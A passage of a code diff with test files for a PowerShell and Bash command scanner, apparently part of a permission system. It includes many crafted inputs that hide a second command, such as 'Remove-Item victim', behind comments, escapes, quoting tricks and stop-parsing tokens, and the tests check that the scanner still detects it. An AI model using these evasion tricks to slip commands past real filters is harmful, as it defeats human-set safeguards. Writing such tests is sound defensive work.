`Invoke-ProbeA # ignored${space}Invoke-ProbeB`,
`Invoke-ProbeA${space}Invoke-ProbeB`,
`&${space}'Invoke-ProbeA'; Invoke-ProbeB`,
]),
...["Invoke-ProbeA", "& Invoke-ProbeA", "& 'Invoke-ProbeA'", '. "Invoke-ProbeA"'].flatMap((head) =>
[
"plain",
"'single ; | & # { }'",
'"double ; | & # { }"',
"'single''quote'",
'"double""quote"',
"'`'",
'"a`"}b"',
'"it\'s } literal"',
"left`#right",
"left`;right",
"left`|right",
"left`&right",
'"$(Invoke-ProbeB)"',
'"$probe"',
'"${probe}"',
"\u2018smart single\u2019",
"\u201csmart double\u201d",
].flatMap((argument) =>
["; ", "\n", "\r", "\r\n", " | ", " && ", " || "].map(
(separator) => `${head} ${argument}${separator}Invoke-ProbeC`,
),
),
),
...["\n", "\r", "\r\n"].flatMap((newline) => [
`Invoke-ProbeA # '\" } ; ignored${newline}Invoke-ProbeB`,
`Invoke-ProbeBlock { # } ignored${newline}Invoke-ProbeB }`,
`Invoke-ProbeBlock { Invoke-ProbeA # } ignored${newline}Invoke-ProbeB }`,
`Invoke-ProbeA --% \"ignored${newline}Invoke-ProbeB${newline}\"`,
`Invoke-ProbeBlock { Invoke-ProbeA --% \"ignored${newline}Invoke-ProbeB${newline}\" }`,
`Invoke-ProbeA \`${newline}argument; Invoke-ProbeB`,
`Invoke-ProbeA @'${newline}literal ; }${newline}'@; Invoke-ProbeB`,
`Invoke-ProbeA @\"${newline}$(Invoke-ProbeB)${newline}\"@; Invoke-ProbeC`,
]),
...["&", ".", "Invoke-ProbeBlock", "Invoke-ProbeA | ForEach-Object"].flatMap((head) =>
[
"Invoke-ProbeB; Invoke-ProbeC",
"Invoke-ProbeB '`'; Invoke-ProbeC",
'Invoke-ProbeB "it\'s } literal"; Invoke-ProbeC',
'Invoke-ProbeB "a`\"}b"; Invoke-ProbeC',
'Invoke-ProbeB "a\"\"}b"; Invoke-ProbeC',
"Invoke-ProbeBlock { Invoke-ProbeB }; Invoke-ProbeC",
"<# <# } #> #> Invoke-ProbeB",
'Invoke-ProbeB "$(Invoke-ProbeC)"',
'Invoke-ProbeB "$(Invoke-ProbeA \"}\"); Invoke-ProbeC"',
].map((body) => `${head} { ${body} }; Invoke-ProbeA`),
),
...["> $null", ">> $null", "2>&1", "3>&1", "4>&1", "5>&1", "6>&1", "*>&1", "*> $null"].flatMap((redirect) => [
`Invoke-ProbeA ${redirect}; Invoke-ProbeB`,
`Invoke-ProbeBlock { Invoke-ProbeA ${redirect}; Invoke-ProbeB }`,
]),
"Invoke-ProbeA --% 'ignored|Invoke-ProbeB|Invoke-ProbeC '",
"Invoke-ProbeA --% ; Invoke-ProbeB",
"Invoke-ProbeA --% $(Invoke-ProbeB)",
"Invoke-ProbeA \u2018a'; Invoke-ProbeB; Invoke-ProbeC 'b\u2019",
'Invoke-ProbeA \u201ca"; Invoke-ProbeB; Invoke-ProbeC "b\u201d',
'Invoke-ProbeA "$(Invoke-ProbeB \"quoted\")"; Invoke-ProbeC',
"& $probe; Invoke-ProbeC",
"& ('Invoke-' + 'ProbeB'); Invoke-ProbeC",
"& { Invoke-ProbeB }; Invoke-ProbeC",
"$(Invoke-ProbeB); Invoke-ProbeC",
"@(Invoke-ProbeB); Invoke-ProbeC",
"Invoke-ProbeA <# ignored #>; Invoke-ProbeB",
"Invoke-ProbeA#literal; Invoke-ProbeB",
"Invoke-ProbeA ''#literal; Invoke-ProbeB",
'Invoke-ProbeA ""#literal; Invoke-ProbeB',
"Invoke-ProbeA { Invoke-ProbeB }#literal; Invoke-ProbeC",
"Inv'oke'-ProbeA; Invoke-ProbeB",
'Inv"oke"-ProbeA; Invoke-ProbeB',
"Invoke-ProbeA,Invoke-ProbeB; Invoke-ProbeC",
'Invoke-ProbeA --%"literal|Invoke-ProbeB|Invoke-ProbeC"',
'Invoke-ProbeA x--% "literal|Invoke-ProbeB|Invoke-ProbeC"',
"Invoke-ProbeA '--%' \"literal|Invoke-ProbeB|Invoke-ProbeC\"",
'Invoke-ProbeA "--%" "literal|Invoke-ProbeB|Invoke-ProbeC"',
'Invoke-ProbeA --`% "literal|Invoke-ProbeB|Invoke-ProbeC"',
'Invoke-ProbeA `-`-`% "literal|Invoke-ProbeB|Invoke-ProbeC"',
"Invoke-ProbeA ''--% \"literal|Invoke-ProbeB|Invoke-ProbeC\"",
"Invoke-ProbeA 2>&1; &{Invoke-ProbeB}; Invoke-ProbeC",
"Invoke-ProbeA 2>&1|Invoke-ProbeB",
"Invoke-ProbeA 'x'#'\nInvoke-ProbeB\nInvoke-ProbeC ''#'",
'Invoke-ProbeA "x"#"\nInvoke-ProbeB\nInvoke-ProbeC ""#"',
"Invoke-ProbeA {}#'\nInvoke-ProbeB\nInvoke-ProbeC ''#'",
"Invoke-ProbeBlock { Invoke-ProbeA 'x'#'\nInvoke-ProbeB\nInvoke-ProbeC ''#' }",
"Invoke-ProbeA 'x'# ' \nInvoke-ProbeB\n# '",
"Invoke-ProbeA { Invoke-ProbeB }# ' \nInvoke-ProbeC\n# '",
"Invoke-ProbeA { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
"Invoke-ProbeBlock { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
"& { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
"Invoke-ProbeA & Invoke-ProbeB",
"Invoke-ProbeA 'safe`'; Invoke-ProbeB; '`'",
]
// Runtime execution is restricted to probes and $null/stream redirections; other cases are parser-only.
const oracle = String.raw`
$ErrorActionPreference = 'Stop'
$probe = 'Invoke-ProbeB'
$script:seen = [System.Collections.Generic.List[string]]::new()
function Invoke-ProbeA { [void]$script:seen.Add('Invoke-ProbeA'); 1 }
function Invoke-ProbeB { [void]$script:seen.Add('Invoke-ProbeB'); 1 }
function Invoke-ProbeC { [void]$script:seen.Add('Invoke-ProbeC'); 1 }
function Invoke-ProbeBlock {
[void]$script:seen.Add('Invoke-ProbeBlock')
foreach ($argument in $args) {
if ($argument -is [scriptblock]) { & $argument }
}
}
$results = foreach ($source in (ConvertFrom-Json -InputObject ([Console]::In.ReadToEnd()))) {
$tokens = $null
$errors = $null
$ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref]$tokens, [ref]$errors)
$nodes = @($ast.FindAll({ param($node) $node -is [System.Management.Automation.Language.CommandAst] }, $true))
$commands = @($nodes | ForEach-Object {
@{
name = $_.GetCommandName()
text = $_.Extent.Text
start = $_.Extent.StartOffset
end = $_.Extent.EndOffset
}
})
$script:seen.Clear()
$runtimeError = $null
$unsafe = @($nodes | Where-Object {
$name = $_.GetCommandName()
($name -and $name -notin @('Invoke-ProbeA', 'Invoke-ProbeB', 'Invoke-ProbeC', 'Invoke-ProbeBlock', 'ForEach-Object')) -or
(!$name -and $_.CommandElements[0] -isnot [System.Management.Automation.Language.ScriptBlockExpressionAst])
})
$files = @($ast.FindAll({ param($node)
$node -is [System.Management.Automation.Language.FileRedirectionAst] -and $node.Location.Extent.Text -ne '$null'
}, $true))
$background = @($ast.FindAll({ param($node)
$node -is [System.Management.Automation.Language.PipelineAst] -and $node.Background
}, $true))
if ($errors.Count -eq 0 -and $unsafe.Count -eq 0 -and $files.Count -eq 0 -and $background.Count -eq 0) {
try { & ([scriptblock]::Create($source)) | Out-Null }
catch { $runtimeError = $_.Exception.Message }
}
@{
source = $source
commands = $commands
errors = @($errors | ForEach-Object { $_.ErrorId })
executed = @($script:seen.ToArray())
runtimeError = $runtimeError
}
}
ConvertTo-Json -InputObject @($results) -Depth 10 -Compress
`
// Run with SHELL_SCAN_PWSH=/path/to/pwsh bun run test test/shell-scan/powershell-runtime.test.ts.
test.skipIf(!pwsh)(
"successful PowerShell scans cover real parser boundaries and executed probe calls",
async () => {
const process = Bun.spawn([pwsh!, "-NoLogo", "-NoProfile", "-NonInteractive", "-Command", oracle], {
stdin: new Blob([JSON.stringify(fixtures)]),
stdout: "pipe",
stderr: "pipe",
timeout: 45_000,
})
const [output, error, code] = await Promise.all([
new Response(process.stdout).text(),
new Response(process.stderr).text(),
process.exited,
])
expect({ code, error }).toEqual({ code: 0, error: "" })
const results: Array<{
source: string
commands: Array<{ name: string | null; text: string; start: number; end: number }>
errors: string[]
executed: string[]
runtimeError: string | null
}> = JSON.parse(output)
expect(results).toHaveLength(fixtures.length)
const failures: string[] = []
let scanned = 0
let executed = 0
for (const result of results) {
const scan = ShellScan.scanPowerShell(result.source)
if (scan.kind === "opaque" || result.errors.length > 0) continue
scanned++
executed += result.executed.length
const missing = result.commands.filter(
(command) =>
command.name !== null &&
!scan.commands.some(
(candidate) =>
candidate.words[0]?.toLowerCase() === command.name?.toLowerCase() &&
candidate.resource === command.text.trim(),
),
)
const unobserved = result.executed.filter(
(name) => !scan.commands.some((command) => command.words[0]?.toLowerCase() === name.toLowerCase()),
)
if (missing.length || unobserved.length)
failures.push(
JSON.stringify({
source: result.source,
missing: missing.map((command) => command.text),
unobserved,
scanned: scan.commands.map((command) => command.words[0]),
}),
)
}
expect(scanned).toBeGreaterThan(100)
expect(executed).toBeGreaterThan(100)
expect(failures).toEqual([])
},
60_000,
)
@@ -0,0 +1,308 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("PowerShell scanner safety", () => {
test("backticks in single quotes cannot hide subsequent executions", () => {
const result = ShellScan.scanPowerShell("Write-Output '`'; Remove-Item victim; Write-Output '`'")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words)).toEqual([
["Write-Output", "`"],
["Remove-Item", "victim"],
["Write-Output", "`"],
])
})
test.each([" ", "\t", "\v", "\f", "\u00a0", "\u2000", "\u2028", "\u2029", "\n", "\r", "\r\n"])(
"recognizes comments after escaped whitespace at a token boundary %j",
(space) => {
expect(ShellScan.scanPowerShell(`Write-Output \`${space}#'\nRemove-Item victim\n#'`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["Write-Output"] }, { words: ["Remove-Item", "victim"] }],
})
for (const redirect of ["2>&1", "6>&1", "*>&1"]) {
expect(
ShellScan.scanPowerShell(`% { Write-Output ${redirect}\`${space}#} '\nRemove-Item victim\n} #'`),
).toMatchObject({
kind: "scanned",
commands: [
{ words: ["%", expect.any(String)] },
{ words: ["Write-Output"] },
{ words: ["Remove-Item", "victim"] },
],
})
}
},
)
test.each([" ", "\t", "\v", "\f", "\u00a0", "\u2000", "\u2028", "\u2029"])(
"keeps backtick whitespace inside strings literal: %j",
(space) => {
const result = ShellScan.scanPowerShell(`% { Write-Output '\`${space}#literal' "\`${space}#literal" }`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[1]?.words).toEqual(["Write-Output", `\`${space}#literal`, `${space}#literal`])
},
)
test.each(["x2>&1", "x6>&1"])("keeps embedded greater-than text distinct from redirects: %s", (token) => {
expect(ShellScan.scanPowerShell(`Write-Output ${token}#'\nRemove-Item victim\n#'`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `Write-Output ${token.slice(0, 3)}`, words: ["Write-Output", token.slice(0, 3)] },
{ words: ["Remove-Item", "victim"] },
],
})
})
test.each([
"1",
",1",
"+1",
"-1",
".1",
"0x1",
"0b1",
"1L",
"1kb",
"1.0",
"1+1",
"1..2",
"-not 1",
"'x' -eq 1",
'"x" -eq 1',
"{} -eq 1",
])("recognizes expression-mode comments without inventing command heads: %s", (expression) => {
expect(ShellScan.scanPowerShell(`${expression}#'\nRemove-Item victim\n#'`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["Remove-Item", "victim"] }],
})
expect(ShellScan.scanPowerShell(`% { ${expression}#} '\nRemove-Item victim\n} #'`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["%", expect.any(String)] }, { words: ["Remove-Item", "victim"] }],
})
})
test.each(["\n", "\r", "\r\n"])("ends nested block comments at %j", (newline) => {
const result = ShellScan.scanPowerShell(`ForEach-Object { # } ignored${newline}Remove-Item victim }`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
})
test.each([
'ForEach-Object { Write-Output "it\'s } literal"; Remove-Item victim }',
'ForEach-Object { Write-Output "a\'b{c}"; Remove-Item victim }',
"ForEach-Object { Write-Output '`'; Remove-Item victim }",
'ForEach-Object { Write-Output "a`\"}b"; Remove-Item victim }',
'ForEach-Object { Write-Output "a""}b"; Remove-Item victim }',
])("keeps block delimiters inside strings: %s", (input) => {
const result = ShellScan.scanPowerShell(input)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([
"ForEach-Object",
"Write-Output",
"Remove-Item",
])
})
test("preserves doubled double quotes in argument values", () => {
const result = ShellScan.scanPowerShell('Write-Output "a""b"')
expect(result).toMatchObject({
kind: "scanned",
commands: [{ resource: 'Write-Output "a""b"', words: ["Write-Output", 'a"b'] }],
})
})
test.each(["'safe'", '"safe"', "{ Get-Item x }"])(
"recognizes comments after complete literal tokens: %s",
(argument) => {
const result = ShellScan.scanPowerShell(`Write-Output ${argument}# '\nRemove-Item victim\n# '`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.some((command) => command.words[0] === "Remove-Item")).toBe(true)
expect(result.commands[0]?.resource).toBe(`Write-Output ${argument}`)
},
)
test("keeps generic-token quotes distinct from standalone strings", () => {
expect(ShellScan.scanPowerShell("Write-Output pre'safe'#literal; Get-Item x")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Write-Output pre'safe'#literal", words: ["Write-Output", "presafe#literal"] },
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
],
})
expect(ShellScan.scanPowerShell("Write-Output 'safe'tail")).toMatchObject({
kind: "scanned",
commands: [{ resource: "Write-Output 'safe'tail", words: ["Write-Output", "safe", "tail"] }],
})
})
test("block matching agrees with tokenization after a merging redirect", () => {
const result = ShellScan.scanPowerShell("% { Get-Item x 2>&1# } '\nRemove-Item victim\n} # '")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["%", "Get-Item", "Remove-Item"])
})
test.each([
'cmd.exe \u0085--% "ignored\nRemove-Item victim\n# "',
"Write-Output \u2018a'; Remove-Item victim; Write-Output 'b\u2019",
'Write-Output \u201ca"; Remove-Item victim; Write-Output "b\u201d',
])("refuses unsupported lexical modes: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
test.each(["\n", "\r", "\r\n"])("ends stop-parsing at %j even adjacent to completed tokens", (newline) => {
for (const argument of ["'x'", '"x"', "{}"]) {
const result = ShellScan.scanPowerShell(`Write-Output ${argument}--% '${newline}Remove-Item victim${newline}# '`)
expect(result).toMatchObject({
kind: "scanned",
commands: [{ words: ["Write-Output", expect.any(String), "--%", "'"] }, { words: ["Remove-Item", "victim"] }],
})
const block = ShellScan.scanPowerShell(
`% { Write-Output ${argument}--%} '${newline}Remove-Item victim${newline}} # '`,
)
expect(block.kind).toBe("scanned")
if (block.kind === "scanned") expect(block.commands.at(-1)?.words).toEqual(["Remove-Item", "victim"])
}
})
test.each([
"& '' victim",
"Write-Output ok > > out",
"Write-Output ok > 2>&1",
"Write-Output ok 2>&",
"Write-Output ok 2>&2",
"Write-Output ok 1>&1",
"Write-Output ok >&1",
"Write-Output ok 7> out",
"Write-Output ok 2>>&1",
"Write-Output ok > # missing target\nRemove-Item victim",
"Write-Output ok | # missing pipeline\n",
"| Remove-Item victim",
"&& Remove-Item victim",
"& & Remove-Item victim",
"&",
".",
"Write-Output ok; &",
"Write-Output ok; .",
"Set-Location \u2013StackName old",
"Set-Location \u2014StackName old",
"Set-Location \u2015StackName old",
])("reports malformed or unsupported lexical syntax: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
test.each(["Set-Location", "SL", "cd", "chdir", "Push-Location", "pushd", "Microsoft.PowerShell.Management\\sl"])(
"preserves commands with directory variables for Core policy through %s",
(head) => {
expect(ShellScan.scanPowerShell(`${head} $target; Get-Item x`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `${head} $target`, words: [head, "$target"] },
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
],
})
expect(ShellScan.scanPowerShell(`${head} $HOME/project; Get-Item x`).kind).toBe("scanned")
},
)
test.each([
"Pop-Location",
"popd",
"Microsoft.PowerShell.Management\\Pop-Location",
"Set-Location -",
"Set-Location +",
"Set-Location -StackName old",
"Set-Location -st old",
"Set-Location -Path:C:relative",
"Set-Location C:relative",
"Set-Location Registry::HKEY_CURRENT_USER",
"Set-Location $HOME/$target",
])("preserves directory command syntax without deciding directory policy: %s", (input) => {
expect(ShellScan.scanPowerShell(`${input}; Get-Item x`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: input, words: input.split(" ") },
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
],
})
})
test.each(["%", "?", "foreach", "where", "iex"])("keeps command aliases visible: %s", (head) => {
const result = ShellScan.scanPowerShell(`Get-Item x | ${head} { Remove-Item victim }`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-Item", head, "Remove-Item"])
})
test.each(["Get-*", "./g?t", "./[gr]it", ".\\script.ps1", "..\\scripts\\run.ps1", "\\\\host\\share\\run.ps1"])(
"retains command names and paths without resolving them: %s",
(head) => {
expect(ShellScan.scanPowerShell(`& ${head} victim`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `& ${head} victim`, words: [head, "victim"], rawWords: [head, "victim"] }],
})
},
)
test("recursively extracts commands from nested script blocks", () => {
const result = ShellScan.scanPowerShell("Get-Item x | % { Get-Item y | ? { Remove-Item victim } }")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([
"Get-Item",
"%",
"Get-Item",
"?",
"Remove-Item",
])
})
test("keeps hashes within words out of block-comment detection", () => {
const result = ShellScan.scanPowerShell("% { Write-Output a#b }; Remove-Item victim")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["%", "Write-Output", "Remove-Item"])
})
test.each([";", "&", "\n", "\r", "\r\n"])("never invents a command after a trailing %j", (separator) => {
expect(ShellScan.scanPowerShell(`Get-Item x${separator}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: "Get-Item x", words: ["Get-Item", "x"] }],
})
})
test.each(["'victim'", '"victim"', "`victim", "{ Get-Item victim }"])(
"does not clear a dangling pipeline with a new empty statement: %s",
(tail) => {
expect(ShellScan.scanPowerShell(`Get-Item x | ; Write-Output ${tail}`).kind).toBe("opaque")
},
)
test("scans valid redirects without consuming command arguments", () => {
for (const redirect of [">", ">>", "1>", "2>>", "3>", "4>", "5>", "6>", "*>", "*>>"]) {
expect(ShellScan.scanPowerShell(`Get-Item x ${redirect} out.txt | Write-Output done`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `Get-Item x ${redirect} out.txt`, words: ["Get-Item", "x"] },
{ resource: "Write-Output done", words: ["Write-Output", "done"] },
],
})
}
for (const redirect of ["2>&1", "3>&1", "4>&1", "5>&1", "6>&1", "*>&1"]) {
expect(ShellScan.scanPowerShell(`Get-Item x ${redirect}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `Get-Item x ${redirect}`, words: ["Get-Item", "x"] }],
})
}
})
test("bounds script block nesting and input size", () => {
expect(ShellScan.scanPowerShell("% { ".repeat(33) + "Get-Item x" + " }".repeat(33)).kind).toBe("opaque")
expect(ShellScan.scanPowerShell(`Write-Output ${"x".repeat(64 * 1024)}`).kind).toBe("opaque")
})
})
@@ -0,0 +1,145 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("PowerShell practical syntax", () => {
test.each([
["$result = git status", ["git status"]],
["$result += (git status)", ["git status"]],
["[string]$result = git status", ["git status"]],
["$x = 1; $x++; git status", ["git status"]],
["$true; 1 + 2; 'literal'; git status", ["git status"]],
["${result}# ignored\ngit status", ["git status"]],
[
"Write-Output { ${result}# ignored\ngit status }",
["Write-Output { ${result}# ignored\ngit status }", "git status"],
],
["Switch-Branch main; Function-Name arg", ["Switch-Branch main", "Function-Name arg"]],
["(git status)", ["git status"]],
["@(git status; git diff)", ["git status", "git diff"]],
["$x = @{ status = git status; count = 1 }", ["git status"]],
["if (Test-Path file) { git status } else { git diff }", ["Test-Path file", "git status", "git diff"]],
["if ($true) { git status } elseif ($false) { git diff }", ["git status", "git diff"]],
["foreach ($file in (Get-ChildItem .)) { Get-Content $file }", ["Get-ChildItem .", "Get-Content $file"]],
["foreach ($file in Get-ChildItem .) { Get-Content $file }", ["Get-ChildItem .", "Get-Content $file"]],
["for ($i = 0; $i -lt 2; $i++) { git status }", ["git status"]],
["while (Test-Path file) { git status; break }", ["Test-Path file", "git status"]],
["do { git status } until ($true)", ["git status"]],
["function Get-Status { param($file); git status }; Get-Status", ["git status", "Get-Status"]],
["function Get-Status($file = (Get-Item .)) { git status }", ["Get-Item .", "git status"]],
[
"try { git status } catch { Write-Output $_ } finally { git diff }",
["git status", "Write-Output $_", "git diff"],
],
["& { git status }", ["& { git status }", "git status"]],
["return git status", ["git status"]],
["<# <# ignored } #> #> ignored\ngit status", ["git status"]],
["git <# ignored #> status", ["git <# ignored #> status"]],
['Write-Output "$(git status)"', ['Write-Output "$(git status)"', "git status"]],
[
'Write-Output "$(Write-Output "$(git status)")"',
['Write-Output "$(Write-Output "$(git status)")"', 'Write-Output "$(git status)"', "git status"],
],
["Write-Output @'\n$(not-a-command)\n'@; git status", ["Write-Output @'\n$(not-a-command)\n'@", "git status"]],
['Write-Output @"\n$(git status)\n"@', ['Write-Output @"\n$(git status)\n"@', "git status"]],
[
"cmd.exe --% $(literal) > literal.txt; still-literal\ngit status",
["cmd.exe --% $(literal) > literal.txt; still-literal", "git status"],
],
[
'cmd.exe --% "literal|still-literal" | Write-Output done',
['cmd.exe --% "literal|still-literal"', "Write-Output done"],
],
["Write-Output '--%' ; git status", ["Write-Output '--%'", "git status"]],
["Write-Output prefix--% literal; git status", ["Write-Output prefix--% literal", "git status"]],
["git status |\n\n# comment\nOut-String", ["git status", "Out-String"]],
] as const)("extracts command resources from %s", (source, resources) => {
const result = ShellScan.scanPowerShell(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.resource)).toEqual([...resources])
})
test.each(["\n", "\r", "\r\n"])(
"distinguishes standalone continuations from escapes inside tokens: %j",
(newline) => {
expect(ShellScan.scanPowerShell(`git \`${newline}\tstatus`)).toMatchObject({
kind: "scanned",
commands: [{ words: ["git", "status"], rawWords: ["git", "status"] }],
})
expect(ShellScan.scanPowerShell(`Write-Output left\`${newline}right`)).toMatchObject({
kind: "scanned",
commands: [
{ words: ["Write-Output", `left${newline}right`], rawWords: ["Write-Output", `left\`${newline}right`] },
],
})
},
)
test("decodes literal backtick escapes without evaluating expressions", () => {
const source = '& "Wr`ite-Output" "tab`tnewline`n`u{1f642}" left`;right'
expect(ShellScan.scanPowerShell(source)).toMatchObject({
kind: "scanned",
commands: [
{
resource: source,
words: ["Write-Output", "tab\tnewline\n\u{1f642}", "left;right"],
rawWords: ['"Wr`ite-Output"', '"tab`tnewline`n`u{1f642}"', "left`;right"],
},
],
})
})
test("preserves word offsets relative to each raw command, including nested invocations", () => {
const source = ' & git\tstatus\t--short; Write-Output "$(git\tlog)"'
const result = ShellScan.scanPowerShell(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[0]?.wordEnds).toEqual([5, 12, 20])
expect(result.commands[2]?.resource).toBe("git\tlog")
for (const command of result.commands) {
expect(command.wordEnds).toHaveLength(command.rawWords.length)
for (const [index, word] of command.rawWords.entries()) {
const end = command.wordEnds![index]!
expect(command.resource.slice(end - word.length, end)).toBe(word)
}
}
})
test.each([
["ForEach-Object { git status }", true],
["git status; ForEach-Object { git diff }", true],
["git status | ForEach-Object { git diff }", undefined],
["git status && ForEach-Object { git diff }", undefined],
["git status || ForEach-Object { git diff }", undefined],
["& ForEach-Object { git status }", undefined],
["& 'ForEach-Object' { git status }", undefined],
["% { git status }", true],
["foreachthing { git status }", true],
] as const)("retains caller and lexical statement-head context: %s", (source, statementHead) => {
const result = ShellScan.scanPowerShell(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
const caller = result.commands.find((command) => command.rawWords.at(-1)?.startsWith("{"))
expect(caller).toBeDefined()
expect(caller?.statementHead).toBe(statementHead)
expect(result.commands.at(-1)?.words[0]).toBe("git")
})
test.each([
"if ($true) { git status",
'Write-Output "$(git status"',
"Write-Output @(git status",
"Write-Output @'\nunclosed",
"<# unclosed",
"git status |\n# no operand",
"Write-Output `u{110000}",
"Write-Output `u{xyz}",
])("bounds and reports incomplete lexical structures: %s", (source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
})
test("bounds mixed expression, string, and block recursion", () => {
expect(ShellScan.scanPowerShell("$(".repeat(40) + "git status" + ")".repeat(40)).kind).toBe("opaque")
expect(ShellScan.scanPowerShell('Write-Output "$('.repeat(40) + "git status" + ')"'.repeat(40)).kind).toBe("opaque")
})
})
@@ -0,0 +1,154 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../../src/shell/parse.js"
import { ShellScan } from "../../src/shell/scan.js"
import { Wildcard } from "../../src/util/wildcard.js"
async function parity(source: string) {
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(native, source).toEqual(legacy)
}
describe("Bash redirect resource oracle", () => {
test.each([
["printf hello | cat > marker", ["printf hello", "cat"]],
["printf ok && git status > output", ["printf ok", "git status"]],
["cat > output", ["cat > output"]],
["cat > output | cat", ["cat > output", "cat"]],
["pwd | > output cat > tail", ["pwd", "> output cat"]],
["pwd && cat > output file", ["pwd", "cat"]],
["pwd; cat > output", ["pwd", "cat > output"]],
["pwd\ncat > output", ["pwd", "cat > output"]],
] as const)("matches exact permission resources: %s", async (source, resources) => {
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
expect(legacy.commands.map((command) => command.resource)).toEqual([...resources])
await parity(source)
})
test("matches redirect positions across generated list and pipeline boundaries", async () => {
const redirects = [">output", ">>output", "<input", "2>err", "2>&1", "<&0", ">|output", "&>output", "&>>output"]
const separators = [" | ", " |& ", " && ", " || ", "; ", " & ", "\n"]
for (const redirect of redirects) {
for (const command of [
`${redirect} git status`,
`git ${redirect} status`,
`git status ${redirect}`,
`${redirect} git status 3>tail`,
`${redirect} FOO=bar git status 3>tail`,
`npm run ${redirect} test`,
]) {
await parity(command)
for (const separator of separators) {
await parity(`printf ok${separator}${command}`)
await parity(`${command}${separator}pwd >last`)
}
}
}
})
test.each([
"pwd | cat >out | tail >log",
"pwd && cat >out || tail >log",
"pwd && cat >out | tail >log",
"pwd | cat >out && tail >log",
"pwd |\n\n# comment\ncat >out",
"pwd &&\n# comment\ncat >out",
"pwd | cat >out # comment\ncat >log",
"pwd | cat # comment\n>out cat",
"pwd | cat \\\n 2>out",
"pwd | cat a\\\n>out",
"pwd | cat 2\\\n>out",
"pwd && FOO=bar >output git status 3>tail",
"(cat >out) | tail >log",
"{ cat >out; } && tail >log",
"(pwd | cat >out) >group",
"(cat >out) >$(printf log) && cat >tail",
"(cat >out); cat >tail",
"echo $(pwd | cat >out) >outer",
'echo "$(pwd && cat >out)" | cat >outer',
"echo `pwd | cat >out` >outer",
"pwd | cat >$(printf out)",
'pwd | cat >"$(printf out)"',
"pwd | cat >$(printf out | cat >inner)",
"pwd | cat >out $(printf arg) >tail",
"pwd | cat <(printf input) > >(cat >log)",
"cat <(pwd | cat >out) | cat >tail",
"pwd | cat >out <(printf arg) >tail",
"pwd | cat '>' \"2>out\" escaped\\>word >out",
"pwd | cat '2'>out",
"pwd | cat 2\\>out",
"if true; then printf ok && cat >$(printf path); fi",
"if true; then printf ok && git >out status; else cat >log; fi",
"pwd && cd >out /outside",
"time git status",
"time -p git status",
"coproc git status",
])("preserves nested commands, prefixes, and context: %s", parity)
test("keeps lexical words and nested redirect-target commands after narrowing the resource", () => {
const result = ShellScan.scan('pwd | git >"$(printf output)" status')
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(`Unexpected opacity: ${result.reason}`)
expect(result.commands[1]).toMatchObject({
resource: "git",
words: ["git", "status"],
rawWords: ["git", "status"],
redirectWordCount: 1,
})
expect(result.commands[2]).toMatchObject({ resource: "printf output", rawWords: ["printf", "output"] })
})
test("excludes ignored trailing continuations from narrowed command prefixes", async () => {
const source = "pwd | cat\\\n >out"
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(`Unexpected opacity: ${result.reason}`)
expect(result.commands.map((command) => command.resource)).toEqual(
legacy.commands.map((command) => command.resource),
)
expect(result.commands[1]?.rawWords).toEqual(["cat"])
expect(legacy.commands[1]).toEqual({ resource: "cat", save: "cat *" })
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(native).toEqual(legacy)
expect(native.commands.every((command) => Wildcard.match(command.resource, command.save))).toBe(true)
})
test.each(["cat\\\n", "cat \\\n", "cat\\\n\\\n", "cat\\\n;", "cat >out\\\n", "cat >out \\\n"])(
"saved prefixes cover their standalone continuation command: %j",
async (source) => {
await parity(source)
